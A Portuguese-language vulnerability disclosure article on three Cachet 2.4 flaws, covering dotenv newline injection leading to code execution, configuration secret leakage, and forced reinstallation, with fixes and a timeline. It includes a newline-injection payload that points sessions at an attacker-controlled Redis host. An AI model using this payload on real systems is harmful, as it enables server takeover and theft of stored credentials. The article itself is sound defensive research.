Cachet 2.4: Execução de Código por Injeção de Configuração do Laravel

Páginas de status agora são um serviço essencial oferecido por todas as empresas de Software-as-a-Service. Para facilitar sua adoção, startups rapidamente conceberam páginas de status como-um-serviço e alternativas de auto-hospedagem de código aberto foram disponibilizadas. Cachet, também às vezes referido como CachetHQ, é um sistema de página de status amplamente adotado escrito em PHP e possui muitas bifurcações da comunidade, como fiveai/Cachet.

Comprometer instâncias de Cachet é recompensador para atacantes, pois armazenam segredos para vários serviços, como caches, servidores de banco de dados, servidores de e-mail, etc. Essa posição inicial na infraestrutura é útil para eles se infiltrar na rede interna da empresa afetada e realizar ataques adicionais. Neste artigo, apresento a análise técnica de três bugs de segurança que minha equipe e eu descobrimos no Cachet 2.4. Eles podem permitir que atacantes comprometam o servidor.

Impacto

A exploração dessas vulnerabilidades foi verificada na última versão oficial do Cachet na época (2.3.18), bem como na branch de desenvolvimento (2.4). Um atacante que deseja explorar essas vulnerabilidades requer uma conta de usuário válida com privilégios básicos, um cenário que pode ser realistamente explorado por:

  • Usando credenciais de enchimento graças à considerável quantidade de contas vazadas todos os anos.
  • A compromised or malicious user. 
  • A presença de uma vulnerabilidade de injeção de código malicioso em sites na mesma área.
  • A exploração de CVE-2021-39165, uma injeção SQL pré-autenticada no Cachet corrigida em janeiro de 2021.

Vulnerabilidade 1: CVE-2021-39172

A primeira vulnerabilidade (CVE-2021-39172) que descrevo é uma injeção de nova linha que ocorre quando os usuários atualizam a configuração de uma instância, como as configurações de email. Isso permite que atacantes injetem novas diretivas e alterem o comportamento de recursos essenciais, levando à execução de código arbitrário.

O vídeo a seguir mostra a exploração desta vulnerabilidade. Para fins de demonstração, vários passos são realizados manualmente, mas poderiam ser automatizados por atacantes:

Fonte: YouTube do Sonar

Vulnerabilidade 2: CVE-2021-39174

O segundo (CVE-2021-39174) também está relacionado a este recurso e permite que o atacante extraia segredos armazenados no arquivo de configuração, como a senha do servidor SMTP, a chave de criptografia do aplicativo, etc.

Vulnerabilidade 3: CVE-2021-39173

Finalmente, o último bug (CVE-2021-39173) é muito mais simples e permite passar pelo processo de configuração mesmo que a instância já esteja totalmente configurada. Dessa forma, os atacantes podem enganar a instância do Cachet para usar um banco de dados arbitrário sob seu controle, levando eventualmente à execução de código arbitrário.

Patches para essas três vulnerabilidades estão disponíveis na versão 2.5.1 do fork FiveAI.

Detalhes Técnicos

Nesta seção, descrevo os detalhes técnicos de cada vulnerabilidade e a forma como foram mitigadas na versão mais recente do fork da comunidade.

CVE-2021-39172: Execução de Código Remoto

O painel do Cachet expõe várias visualizações de configuração (mesmo para usuários não administradores) para alterar o nome da instância, as configurações do servidor de correio, etc. As configurações persistentes no nível da aplicação são salvas no banco de dados, e outros valores no nível do framework são salvos diretamente no arquivo de configuração da aplicação. O framework Laravel utiliza dotenv arquivos de configuração, um formato semelhante à forma como você declararia variáveis de ambiente em um script de shell. O suporte é implementado na biblioteca de terceiros aqui.

Ao alterar as configurações do provedor de email, o controlador instancia um objeto da classe UpdateConfigCommand. Comandos Laravel, no contexto do ônibus de comando, são uma maneira de remover a lógica específica da aplicação dos controladores; eles serão executados de forma síncrona após uma chamada execute() no objeto. Isso é o que acontece em [1]:  

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

O manipulador associado UpdateConfigCommandHandler é responsável por realizar alterações no arquivo dotenv existente, substituindo entradas existentes por novas.

UpdateConfigCommandHandler pode ser acionado por código em dois locais diferentes:

  1. SetupController@postStep3: o último passo do processo de configuração. Uma vez instalado o exemplo, esse caminho de código não poderá mais ser alcançado;
  2. SettingsController@postMail: ao atualizar as entradas dotenv relacionadas a servidores de email.

Ele primeiro avaliará o arquivo de configuração completo para preencher o ambiente de processo ([1]), identificará se a diretiva a ser atualizada já está definida ([2]) e substituirá a entrada pelo seu novo valor ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

Não é realizada nenhuma validação nos dados de entrada: desde que a entrada de configuração já exista, ela será substituída por um valor proveniente do parâmetro. Se um atacante fornecer um valor contendo novas linhas, isso criará novas entradas no arquivo dotenv e pode alterar funcionalidades no nível do framework.

Nota: apenas a primeira definição de uma variável em um arquivo dotenv será usada; as subsequentes serão ignoradas.

Em projetos Laravel, essa primitiva é suficiente para obter execução arbitrária de código. A configuração inicial do arquivo dotenv provavelmente se parecerá com isso na maioria das instâncias:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Assaltantes poderiam substituir a chave CACHE_DRIVER e registrar um servidor Redis sob seu controle como um novo backend de sessão:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Após enviar uma solicitação que define CACHE_DRIVER com esse valor, o arquivo dotenv ficaria assim:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Como as sessões do Laravel são serializadas usando o formato nativo do PHP, elas são analisadas com a função unserialize(). Esse é um ponto fraco conhecido que pode ser explorado para a execução de código arbitrário usando uma sequência de objetos especialmente criados, um conceito chamado de “cadeias pop”. A ferramenta PHPGGC pode gerar tais cadeias para projetos Laravel. 

Outras maneiras de explorar a execução de comandos a partir de uma injeção de nova linha em um arquivo dotenv podem existir, mas não prosseguimos mais com a pesquisa nessa direção. Minha equipe e eu estamos curiosos para saber se você está ciente de outras técnicas!

CVE-2021-39174: Vazamento de Configuração

Como descrevi na seção anterior, é possível ter controle direto de leitura e escrita sobre os valores armazenados no arquivo dotenv. A escrita neste arquivo acaba levando à execução de código arbitrário, mas também pode ser explorado pelo fato de que os valores deste arquivo são exibidos na interface?

A documentação de vlucas/phpdotenv descreve que suporta atribuição de variáveis aninhadas: ao declarar uma variável, você pode referenciar uma previamente declarada usando a sintaxe ${NAME}.

Essa funcionalidade é conveniente: ao referenciar outra variável em uma entrada do arquivo de configuração dotenv e exibir essa entrada na interface, revela o valor de outra variável. 

Já é amplamente documentado que vazar APP_KEY pode levar à execução de código se o driver de sessão estiver definido como cookie, e essa primitiva também pode ser usada para vazar DB_PASSWORD e MAIL_PASSWORD para realizar ataques adicionais.

CVE-2021-39173: Reinstalação Forçada

A página de configuração não pode ser acessada se a instância já estiver instalada, conforme implementado no middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // não configurado então!      
         }        
         
         return $next($request);   
  } 
}

O check é baseado exclusivamente no valor do parâmetro de configuração: se não estiver definido ou estiver vazio, o middleware considerará que a instância está instalada.

Caso esteja se perguntando o que mais pode ser avaliado como falso, aqui está um breve resumo sobre o sistema de tipos do PHP durante comparações até o PHP 8. As comparações podem ser realizadas usando uma verificação de igualdade (==) ou uma verificação de identidade (===). Verificações de igualdade implicam que o tipo dos operandos não é considerado e as strings podem ser convertidas em números antes. Este comportamento foi nomeado de “type juggling” e tem sido explorado em várias vulnerabilidades do mundo real (CVE-2017-1001000, CVE-2019-10231). No caso da comparação acima, qualquer valor igual a uma string vazia ou “0” será avaliado como false e permitirá o acesso às páginas de configuração.

O valor de app_name não é validado durante a atualização das configurações em SettingsController@postSettings, em [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Portanto, um usuário autenticado pode atualizá-lo para um valor avaliado como falso e, em seguida, acessar/configurar novamente para reinstalar a instância com uma nova conta de administrador (elevação de privilégios) ou explorar nossa primeira descoberta e obter execução de código (lembre-se, UpdateConfigCommandHandler também pode ser explorado a partir deste caminho).

Correção

A vulnerabilidade de injeção de nova linha (CVE-2021-39172) foi abordada melhorando a validação dos valores de entrada em UpdateConfigCommandHandler, rejeitando quaisquer modificações contendo caracteres de nova linha.

O bug de vazamento de configuração (CVE-2021-39174) foi mais complexo de corrigir, pois a versão mais recente da biblioteca dotenv não podia ser importada devido às dependências existentes. Em vez disso, o código relevante foi adaptado para permitir que o manipulador de comandos identifique se um valor contém uma variável aninhada.

Finalmente, não é possível forçar uma reinstalação de instâncias existentes (CVE-2021-39173) graças a verificações aprimoradas no middleware afetado.

Cronograma

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

Resumo

Neste artigo, analisei três vulnerabilidades no Cachet e demonstrei a capacidade de assumir instâncias com apenas permissões de usuário básicas usando arquivos de configuração do Laravel. Também descrevi as correções aplicadas pelos mantenedores e como elas impedem os ataques que apresentei.

Finalmente, minha equipe e eu gostaríamos de agradecer aos mantenedores do fork FiveAI do Cachet por reconhecerem nosso aviso e corrigirem essas vulnerabilidades de maneira oportuna e profissional.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection